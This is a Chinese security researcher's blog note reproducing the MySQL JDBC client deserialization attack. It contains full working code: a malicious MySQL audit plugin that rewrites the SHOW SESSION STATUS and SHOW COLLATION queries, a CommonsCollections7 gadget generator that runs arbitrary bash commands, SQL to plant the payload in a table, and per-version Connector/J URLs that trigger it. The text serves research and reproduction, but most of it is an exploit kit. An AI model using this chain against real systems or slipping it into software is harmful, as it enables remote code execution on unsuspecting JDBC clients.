阅读: 10
2019年11月底Yang Zhang等人在BlackHat上有个议题,提到MySQL JDBC客户端反序列化漏洞,用到ServerStatusDiffInterceptor,参[1]。
2019年12月Welkin给出了部分细节,但当时未解决恶意服务端的组建问题,参[2]。
codeplutos利用修改过的MySQL插件成功组建恶意服务端,这个脑洞开得可以。与此同时,他演示了另一条利用路径,用到detectCustomCollations。需要指出,他的方案原理同时适用于ServerStatusDiffInterceptor、detectCustomCollations,他只以后者举例而已。参[3]。
2020年4月fnmsd分析MySQL Connector/J各版本后给出大一统的总结,给出不同版本所需URL,给了Python版恶意服务端,参[4]。
2020年5月我学习前几位的大作,写了这篇笔记。
先将[1]、[2]、[3]、[4]全看了一遍,没做实验,只是看。对这个洞大概有点数,通过JDBC建立到MySQL服务端的连接时,有几个内置的SQL查询语句被发出,其中两个查询的结果集在客户端被处理时会调用ObjectInputStream.readObject()进行反序列化。通过控制结果集,可以在客户端搞事,具体危害视客户端拥有的Gadget环境而定。
这两个查询语句是:
SHOW SESSION STATUS
SHOW COLLATION
利用MySQL插件机制将这两个查询语句在服务端”重定向”成查询恶意表,恶意表中某字段存放恶意Object。
需要安装MySQL,创建恶意表,编译定制过的恶意MySQL插件。写一个通用的JDBC客户端程序,用之访问恶意服务端。用Wireshark抓包,基于抓包数据用Python实现简版恶意服务端,这样可以避免陷入MySQL私有协议细节当中。
参看
《恶意MySQL Server读取MySQL Client端文件》
http://scz.617.cn/network/202001101612.txt
1) 获取MySQL 5.7.28源码
https://repo.mysql.com/yum/mysql-5.7-community/el/7/SRPMS/mysql-community-5.7.28-1.el7.src.rpm |
2) 在rewrite_example基础上修改出evilreplace
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 |
$ vi evilreplace.cc #include <ctype.h> #include <string.h> #include <my_global.h> #include <mysql/plugin.h> #include <mysql/plugin_audit.h> #include <mysql/service_mysql_alloc.h> #include <my_thread.h> // my_thread_handle needed by mysql_memory.h #include <mysql/psi/mysql_memory.h> /* instrument the memory allocation */ #ifdef HAVE_PSI_INTERFACE static PSI_memory_key key_memory_evilreplace; static PSI_memory_info all_rewrite_memory[]= { { &key_memory_evilreplace, "evilreplace", 0 } }; static int plugin_init(MYSQL_PLUGIN) { const char* category= "sql"; int count; count= array_elements(all_rewrite_memory); mysql_memory_register(category, all_rewrite_memory, count); return 0; /* success */ } #else #define plugin_init NULL #define key_memory_evilreplace PSI_NOT_INSTRUMENTED #endif /* HAVE_PSI_INTERFACE */ static int rewrite_lower(MYSQL_THD thd, mysql_event_class_t event_class, const void *event) { if (event_class == MYSQL_AUDIT_PARSE_CLASS) { const struct mysql_event_parse *event_parse= static_cast<const struct mysql_event_parse *>(event); if (event_parse->event_subclass == MYSQL_AUDIT_PARSE_PREPARSE) { if ( ( strcmp( event_parse->query.str, "SHOW SESSION STATUS" ) == 0 ) || ( strcmp( event_parse->query.str, "SHOW COLLATION" ) == 0 ) ) { char evilsql[] = "select evil_1,evil_2,evil_3 from evildb.eviltable limit 1;"; char *rewritten_query = static_cast<char *> ( my_malloc ( key_memory_evilreplace, strlen( evilsql ) + 1, MYF(0) ) ); strcpy( rewritten_query, evilsql ); event_parse->rewritten_query->str = rewritten_query; event_parse->rewritten_query->length = strlen( evilsql ) + 1; *((int *)event_parse->flags) |= (int)MYSQL_AUDIT_PARSE_REWRITE_PLUGIN_QUERY_REWRITTEN; } } } return 0; } /* Audit plugin descriptor */ static struct st_mysql_audit evilreplace_descriptor= { MYSQL_AUDIT_INTERFACE_VERSION, /* interface version */ NULL, /* release_thd() */ rewrite_lower, /* event_notify() */ { 0, 0, (unsigned long) MYSQL_AUDIT_PARSE_ALL, } /* class mask */ }; /* Plugin descriptor */ mysql_declare_plugin(audit_log) { MYSQL_AUDIT_PLUGIN, /* plugin type */ &evilreplace_descriptor, /* type specific descriptor */ "evilreplace", /* plugin name */ "Oracle", /* author */ "An example of a query rewrite" " plugin that rewrites all queries" " to lower case", /* description */ PLUGIN_LICENSE_GPL, /* license */ plugin_init, /* plugin initializer */ NULL, /* plugin deinitializer */ 0x0002, /* version */ NULL, /* status variables */ NULL, /* system variables */ NULL, /* reserverd */ 0 /* flags */ } mysql_declare_plugin_end; |
参[3],codeplutos介绍了Ubuntu 16.04下的MySQL插件编译方案。各发行版的编译过程差别较大,RedHat 7.6上明显不同,建议先搞清楚如何编译MySQL源码,再来编译单个插件。
编译:
/usr/bin/c++ -DHAVE_CONFIG_H -DHAVE_LIBEVENT2 -DMYSQL_DYNAMIC_PLUGIN -D_FILE_OFFSET_BITS=64 \ -D_GNU_SOURCE -Devilreplace_EXPORTS -Wall -Wextra -Wformat-security -Wvla -Woverloaded-virtual \ -Wno-unused-parameter -O3 -g -fabi-version=2 -fno-omit-frame-pointer -fno-strict-aliasing -DDBUG_OFF -fPIC \ -I/<path>/mysql-5.7.28/include \ -I/<path>/mysql-5.7.28/extra/rapidjson/include \ -I/<path>/mysql-5.7.28/libbinlogevents/include \ -I/<path>/mysql-5.7.28/libbinlogevents/export \ -isystem /<path>/mysql-5.7.28/zlib \ -I/<path>/mysql-5.7.28/sql \ -I/<path>/mysql-5.7.28/sql/auth \ -I/<path>/mysql-5.7.28/regex \ -o evilreplace.cc.o \ -c evilreplace.cc |
链接:
/usr/bin/c++ -fPIC -Wall -Wextra -Wformat-security -Wvla -Woverloaded-virtual -Wno-unused-parameter \ -O3 -g -fabi-version=2 -fno-omit-frame-pointer -fno-strict-aliasing -DDBUG_OFF \ -fPIC -shared -Wl,-soname,evilreplace.so -o evilreplace.so \ evilreplace.cc.o -lpthread \ /<path>/libmysqlservices.a -lpthread |
rewriter.so是自带的插件,不需要源码编译。
1) 安装rewriter.so
查看:
/usr/share/mysql/install_rewriter.sql
除了安装rewriter.so,还涉及辅助表和存储过程的创建。
mysql> source /usr/share/mysql/install_rewriter.sql
这会多出query_rewrite库、query_rewrite.rewrite_rules表。
mysql> show plugins;
mysql> SHOW GLOBAL VARIABLES LIKE ‘rewriter_enabled’;
2) 在服务端替换SQL查询语句
向query_rewrite.rewrite_rules表中插入替换规则:
mysql> insert into query_rewrite.rewrite_rules(pattern, replacement) values('select line from sczdb.SczTable', 'select line from sczdb.scztable limit 1'); |
调用存储过程刷新,使之热生效:
mysql> call query_rewrite.flush_rewrite_rules(); |
测试替换规则:
mysql> select line from sczdb.SczTable; |
3) 卸载rewriter.so
mysql> source /usr/share/mysql/uninstall_rewriter.sql |
只有退出当前客户端才彻底卸载rewriter插件,否则其仍在生效中。
4) rewriter插件的局限性
清空表,二选一,推荐后者:
delete from query_rewrite.rewrite_rules; truncate table query_rewrite.rewrite_rules; mysql> insert into query_rewrite.rewrite_rules(pattern, replacement) values('SHOW SESSION STATUS', 'select * from evildb.eviltable'); mysql> select * from query_rewrite.rewrite_rules; |
mysql> call query_rewrite.flush_rewrite_rules(); ERROR 1644 (45000): Loading of some rule(s) failed. |
调用存储过程刷新时意外失败,查看失败原因:
mysql> select message from query_rewrite.rewrite_rules; |
pattern必须是select语句,show语句不行。
据说5.7的pattern只支持select,8.0支持insert、update、delete,未实测验证。难怪codeplutos要修改rewrite_example.cc。
1) SHOW SESSION STATUS
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 |
mysql> help SHOW ... SHOW COLLATION [like_or_where] ... SHOW [GLOBAL | SESSION] STATUS [like_or_where] ... If the syntax for a given SHOW statement includes a LIKE 'pattern' part, 'pattern' is a string that can contain the SQL % and _ wildcard characters. The pattern is useful for restricting statement output to matching values. ... URL: https://dev.mysql.com/doc/refman/5.7/en/show.html mysql> help SHOW STATUS ... URL: https://dev.mysql.com/doc/refman/5.7/en/show-status.html |
“SHOW SESSION STATUS”访问INFORMATION_SCHEMA.SESSION_STATUS表。参[2],作者说访问INFORMATION_SCHEMA.SESSION_VARIABLES表,他应该说错了。
查看INFORMATION_SCHEMA.SESSION_STATUS表结构:
mysql> select table_schema,table_name,column_name,column_type from information_schema.columns where table_name='SESSION_STATUS'; |
直接访问INFORMATION_SCHEMA.SESSION_STATUS表缺省会失败:
mysql> select VARIABLE_NAME,VARIABLE_VALUE from INFORMATION_SCHEMA.SESSION_STATUS limit 10; ERROR 3167 (HY000): The 'INFORMATION_SCHEMA.SESSION_STATUS' feature is disabled; see the documentation for 'show_compatibility_56' |
需要打开一个开关:
mysql> set @@global.show_compatibility_56=ON; mysql> select * from INFORMATION_SCHEMA.SESSION_STATUS limit 10; mysql> select VARIABLE_NAME,VARIABLE_VALUE from INFORMATION_SCHEMA.SESSION_STATUS limit 10; |
2) SHOW COLLATION
mysql> help SHOW COLLATION; ... URL: https://dev.mysql.com/doc/refman/5.7/en/show-collation.html mysql> SHOW COLLATION WHERE Charset='latin1'; |
“SHOW COLLATION”访问INFORMATION_SCHEMA.COLLATIONS表。
查看INFORMATION_SCHEMA.COLLATIONS表结构:
mysql> select table_schema,table_name,column_name,column_type from information_schema.columns where table_name='COLLATIONS'; |
可以直接访问INFORMATION_SCHEMA.COLLATIONS表,与show_compatibility_56无关。
mysql> show variables like 'show_compatibility_56'; |
mysql> select * from INFORMATION_SCHEMA.COLLATIONS limit 5; |
1) GenerateCommonsCollections7.java
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 |
/* * javac -encoding GBK -g -cp "commons-collections-3.1.jar" GenerateCommonsCollections7.java * java -cp "commons-collections-3.1.jar:." GenerateCommonsCollections7 "/bin/touch /tmp/scz_is_here" /tmp/out.bin */ import java.io.*; import java.util.*; import java.lang.reflect.*; import javax.naming.*; import org.apache.commons.collections.Transformer; import org.apache.commons.collections.functors.*; import org.apache.commons.collections.map.LazyMap; public class GenerateCommonsCollections7 { /* * ysoserial/CommonsCollections7 */ @SuppressWarnings("unchecked") private static Object getObject ( String cmd ) throws Exception { Transformer[] tarray = new Transformer[] { new ConstantTransformer( Runtime.class ), new InvokerTransformer ( "getMethod", new Class[] { String.class, Class[].class }, new Object[] { "getRuntime", new Class[0] } ), new InvokerTransformer ( "invoke", new Class[] { Object.class, Object[].class }, new Object[] { null, new Object[0] } ), new InvokerTransformer ( "exec", new Class[] { String[].class }, new Object[] { new String[] { "/bin/bash", "-c", cmd } } ) }; Transformer tchain = new ChainedTransformer( new Transformer[0] ); Map normalMap_0 = new HashMap(); Map normalMap_1 = new HashMap(); Map lazyMap_0 = LazyMap.decorate( normalMap_0, tchain ); Map lazyMap_1 = LazyMap.decorate( normalMap_1, tchain ); lazyMap_0.put( "scz", "same" ); lazyMap_1.put( "tDz", "same" ); Hashtable ht = new Hashtable(); ht.put( lazyMap_0, "value_0" ); ht.put( lazyMap_1, "value_1" ); lazyMap_1.remove( "scz" ); Field f = ChainedTransformer.class.getDeclaredField( "iTransformers" ); f.setAccessible( true ); f.set( tchain, tarray ); return( ht ); } public static void main ( String[] argv ) throws Exception { String cmd = argv[0]; String out = argv[1]; Object obj = getObject( cmd ); FileOutputStream fos = new FileOutputStream( out ); ObjectOutputStream oos = new ObjectOutputStream( fos ); oos.writeObject( obj ); oos.close(); fos.close(); } } |
java -cp "commons-collections-3.1.jar:." GenerateCommonsCollections7 "/bin/touch /tmp/scz_is_here" /tmp/out.bin xxd -p -c 1000000 /tmp/out.bin |
输出形如:
aced00057372…3178
2) 创建恶意表
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 |
DROP TABLE IF EXISTS evildb.eviltable; DROP DATABASE IF EXISTS evildb; CREATE DATABASE IF NOT EXISTS evildb; CREATE TABLE IF NOT EXISTS evildb.eviltable ( evil_1 int(5), evil_2 blob, evil_3 int(5) ); set @obj=0xaced00057372...3178; INSERT INTO evildb.eviltable VALUES (1, @obj, 3); UPDATE evildb.eviltable SET evil_1=1, evil_2=@obj, evil_3=3; select lower(hex(evil_2)) from evildb.eviltable; SHOW GRANTS FOR root; GRANT ALL ON evildb.eviltable TO 'root'@'%'; REVOKE ALL ON evildb.eviltable FROM 'root'@'%'; |
evil_1、evil_3也可以用blob类型,填充同样的@obj,触发点略有差异。上面演示的恶意表是最小集,通吃。
3) 用evilreplace插件改变SQL查询语句
用evilreplace插件将来自客户端的:
SHOW SESSION STATUS
SHOW COLLATION
替换成:
select evil_1,evil_2,evil_3 from evildb.eviltable limit 1; |
参[3],这是codeplutos的思路,很有想像力,他用了自编译rewrite_example.so。
INSTALL PLUGIN evilreplace SONAME 'evilreplace.so'; SHOW SESSION STATUS; SHOW COLLATION; UNINSTALL PLUGIN evilreplace; |
4) JDBCClient.java
/* * javac -encoding GBK -g JDBCClient.java */ import java.io.*; import java.sql.*; public class JDBCClient { public static void main ( String[] argv ) throws Exception { String url = argv[0]; Connection conn = DriverManager.getConnection( url ); } } |
JDBCClient.java无需显式代码:
Class.forName( "com.mysql.cj.jdbc.Driver" ); |
5) MySQL Connector/J 各版本所需URL(ServerStatusDiffInterceptor)
参[4],fnmsd分析了各种版本所需URL。
5.1) 8.x
java \ -cp "mysql-connector-java-8.0.14.jar:commons-collections-3.1.jar:." \ JDBCClient "jdbc:mysql://192.168.65.23:3306/evildb?useSSL=false&user=root&password=123456&\ autoDeserialize=true&queryInterceptors=com.mysql.cj.jdbc.interceptors.ServerStatusDiffInterceptor" |
5.1.1) 简化版调用关系
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 |
DriverManager.getConnection // 8u232+8.0.14 DriverManager.getConnection // DriverManager:270 NonRegisteringDriver.connect // DriverManager:664 ConnectionImpl.getInstance // NonRegisteringDriver:199 ConnectionImpl.<init> // ConnectionImpl:240 ConnectionImpl.initializeSafeQueryInterceptors // ConnectionImpl:448 ConnectionImpl.createNewIO // ConnectionImpl:455 ConnectionImpl.connectOneTryOnly // ConnectionImpl:825 ConnectionImpl.initializePropsFromServer // ConnectionImpl:966 ConnectionImpl.handleAutoCommitDefaults // ConnectionImpl:1327 ConnectionImpl.setAutoCommit // ConnectionImpl:1382 NativeSession.execSQL // ConnectionImpl:2064 // 查询语句"SET autocommit=1" NativeProtocol.sendQueryString // NativeSession:1154 NativeProtocol.sendQueryPacket // NativeProtocol:921 if (this.queryInterceptors != null) // NativeProtocol:969 NativeProtocol.invokeQueryInterceptorsPre // NativeProtocol:970 NoSubInterceptorWrapper.preProcess // NativeProtocol:1144 ServerStatusDiffInterceptor.preProcess // NoSubInterceptorWrapper:76 ServerStatusDiffInterceptor.populateMapWithSessionStatusValues // ServerStatusDiffInterceptor:105 rs = stmt.executeQuery("SHOW SESSION STATUS") // ServerStatusDiffInterceptor:86 // 自动提交SQL查询 ResultSetUtil.resultSetToMap // ServerStatusDiffInterceptor:87 ResultSetImpl.getObject // ResultSetUtil:46 // mappedValues.put(rs.getObject(1), rs.getObject(2)) // 处理结果集中第1、2列 if ((field.isBinary()) || (field.isBlob())) // ResultSetImpl:1314 byte[] data = getBytes(columnIndex) // ResultSetImpl:1315 if (this.connection.getPropertySet().getBooleanProperty(PropertyKey.autoDeserialize).getValue()) // ResultSetImpl:1317 // 要求autoDeserialize等于true ObjectInputStream.readObject // ResultSetImpl:1326 // obj = objIn.readObject(); Hashtable.readObject // ysoserial/CommonsCollections7 Hashtable.reconstitutionPut AbstractMapDecorator.equals AbstractMap.equals LazyMap.get // 此处开始LazyMap利用链 ChainedTransformer.transform InvokerTransformer.transform Runtime.exec if (this.queryInterceptors != null) // NativeProtocol:1109 NativeProtocol.invokeQueryInterceptorsPost // NativeProtocol:1110 |
5.1.2) mysql-connector-java-8.0.14.pcap
请自行抓包,此处略
5.2) 6.x
queryInterceptors => statementInterceptors
java \ -cp "mysql-connector-java-6.0.3.jar:commons-collections-3.1.jar:." \ JDBCClient "jdbc:mysql://192.168.65.23:3306/evildb?useSSL=false&user=root&password=123456&\ autoDeserialize=true&statementInterceptors=com.mysql.cj.jdbc.interceptors.ServerStatusDiffInterceptor" |
5.2.2) mysql-connector-java-6.0.3.pcap
请自行抓包,此处略
5.3) 5.1.11及以上版本
com.mysql.cj. => com.mysql.
java \ -cp "mysql-connector-java-5.1.40.jar:commons-collections-3.1.jar:." \ JDBCClient "jdbc:mysql://192.168.65.23:3306/evildb?useSSL=false&user=root&password=123456&\ autoDeserialize=true&statementInterceptors=com.mysql.jdbc.interceptors.ServerStatusDiffInterceptor" |
5.3.2) mysql-connector-java-5.1.40.pcap
请自行抓包,此处略
6) MySQL Connector/J 各版本所需URL(detectCustomCollations)
参[3],触发方式是codeplutos提供的。重点看这个函数:
com.mysql.jdbc.ConnectionImpl.buildCollationMapping() |
参[4],fnmsd分析了各种版本所需URL。
6.1) 5.1.29-5.1.40
java \ -cp "mysql-connector-java-5.1.40.jar:commons-collections-3.1.jar:." \ JDBCClient "jdbc:mysql://192.168.65.23:3306/evildb?useSSL=false&user=root&password=123456&\ autoDeserialize=true&detectCustomCollations=true" |
会抛异常,但恶意代码已被执行。
6.1.1) 简化版调用关系
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 |
DriverManager.getConnection // 8u232+5.1.40 DriverManager.getConnection // DriverManager:270 NonRegisteringDriver.connect // DriverManager:664 ConnectionImpl.getInstance // NonRegisteringDriver:328 Util.handleNewInstance // ConnectionImpl:410 Constructor.newInstance // Util:425 JDBC4Connection.<init> ConnectionImpl.<init> // JDBC4Connection:47 ConnectionImpl.initializeSafeStatementInterceptors // ConnectionImpl:805 ConnectionImpl.createNewIO // ConnectionImpl:806 ConnectionImpl.connectOneTryOnly // ConnectionImpl:2083 ConnectionImpl.initializePropsFromServer // ConnectionImpl:2297 if (versionMeetsMinimum(3, 21, 22)) // ConnectionImpl:3282 ConnectionImpl.buildCollationMapping // ConnectionImpl:3291 if ((versionMeetsMinimum(4, 1, 0)) && (getDetectCustomCollations())) // ConnectionImpl:944 // 5.1.28版只检查版本号,未检查detectCustomCollations属性 results = stmt.executeQuery("SHOW COLLATION") // ConnectionImpl:957 // 自动提交SQL查询 if (versionMeetsMinimum(5, 0, 0)) // ConnectionImpl:958 Util.resultSetToMap // ConnectionImpl:959 // Util.resultSetToMap(sortedCollationMap, results, 3, 2) // 处理结果集中第3、2列 ResultSetImpl.getObject // Util:474 // mappedValues.put(rs.getObject(key), rs.getObject(value)) ResultSetImpl.getObjectDeserializingIfNeeded // ResultSetImpl:4544 byte[] data = getBytes(columnIndex) // ResultSetImpl:4568 ObjectInputStream.readObject // ResultSetImpl:4579 // obj = objIn.readObject() Hashtable.readObject // ysoserial/CommonsCollections7 Hashtable.reconstitutionPut AbstractMapDecorator.equals AbstractMap.equals LazyMap.get // 此处开始LazyMap利用链 ChainedTransformer.transform InvokerTransformer.transform Runtime.exec |
6.1.2) mysql-connector-java-5.1.40_d.pcap
请自行抓包,此处略
6.2) 5.1.19-5.1.28
不需要指定”detectCustomCollations=true”
java \ -cp "mysql-connector-java-5.1.19.jar:commons-collections-3.1.jar:." \ JDBCClient "jdbc:mysql://192.168.65.23:3306/evildb?useSSL=false&user=root&password=123456&\ autoDeserialize=true" |
6.2.2) mysql-connector-java-5.1.19_d.pcap
请自行抓包,此处略
7) Python版恶意服务端
7.1) fnmsd的实现
https://github.com/fnmsd/MySQL_Fake_Server
他这个实现同时支持ServerStatusDiffInterceptor、detectCustomCollations,还支持”恶意MySQL Server读取MySQL Client端文件”,只需要Python3。
他在”踩过的坑”里写了一些值得注意的点,有兴趣者可以看他的源码。
7.2) 其他思路
fnmsd的实现,功能完备。如果只是想搞标题所说漏洞,我说个别的思路。可以基于Gifts版本实现反序列化恶意服务端:
https://github.com/Gifts/Rogue-MySql-Server
ServerStatusDiffInterceptor适用范围包含detectCustomCollations适用范围,为了减少麻烦,可以只支持ServerStatusDiffInterceptor。具体来说,就是只特殊响应”SHOW SESSION STATUS”,不特殊响应”SHOW COLLATION”。
基于三次抓包组织响应报文:
mysql-connector-java-5.1.40.pcap
mysql-connector-java-6.0.3.pcap
mysql-connector-java-8.0.14.pcap
要点如下:
5.1.11及以上版本 6.x 特殊响应"SHOW SESSION STATUS",然后必须特殊响应随后而来的 "SHOW WARNINGS"。 8.x 按抓包所示响应初始查询: /* mysql-connector-java-8.0.14 (Revision: 36534fa273b4d7824a8668ca685465cf8eaeadd9) */SELECT ... 然后按抓包所示响应随后而来的"SHOW WARNINGS"。 特殊响应"SHOW SESSION STATUS",然后必须特殊响应随后而来的 "SHOW WARNINGS"。 |
这种搞法的好处是不用特别理解MySQL私有协议,fnmsd”踩过的坑”你都不会碰上。
十多年前我们按协议规范组织SMB报文时,有天看到某人在PoC里用了一个变量名,叫sendcode,他实际是把Ethereal抓包看到数据直接投放出来。当时我们很震惊,不是佩服得震惊。后来觉得某些场景下这样干,也没什么可鄙视的。
基于三次抓包组织响应报文的思路,跟sendcode异曲同工,比你想像得要通用。
当然,如果不是特别好奇,还是用fnmsd的实现吧。
[1] New Exploit Technique In Java Deserialization Attack – Yang Zhang [2019-11-26]
[2] JDBC导致的反序列化攻击 – Welkin [2019-12-17]
https://www.cnblogs.com/Welk1n/p/12056097.html
[3]
https://github.com/codeplutos/MySQL-JDBC-Deserialization-Payload
[4] MySQL JDBC客户端反序列化漏洞分析 – fnmsd [2020-04-15]
https://www.anquanke.com/post/id/203086
https://blog.csdn.net/fnmsd/article/details/106232092
https://github.com/fnmsd/MySQL_Fake_Server
[5] 6.2 Connection URL Syntax
https://dev.mysql.com/doc/connector-j/8.0/en/connector-j-reference-jdbc-url-format.html
6.3 Configuration Properties
https://dev.mysql.com/doc/connector-j/8.0/en/connector-j-reference-configuration-properties.html
13.7.5.25 SHOW PLUGINS Statement
https://dev.mysql.com/doc/refman/5.7/en/show-plugins.html
24.10 The INFORMATION_SCHEMA GLOBAL_STATUS and SESSION_STATUS Tables
https://dev.mysql.com/doc/refman/5.7/en/status-table.html
14.6.4.1 COM_QUERY Response
https://dev.mysql.com/doc/internals/en/com-query-response.html
14.7.3 Binary Protocol Value
https://dev.mysql.com/doc/internals/en/binary-protocol-value.html
14.12.2 ProtocolText::Resultset
https://dev.mysql.com/doc/internals/en/protocoltext-resultset.html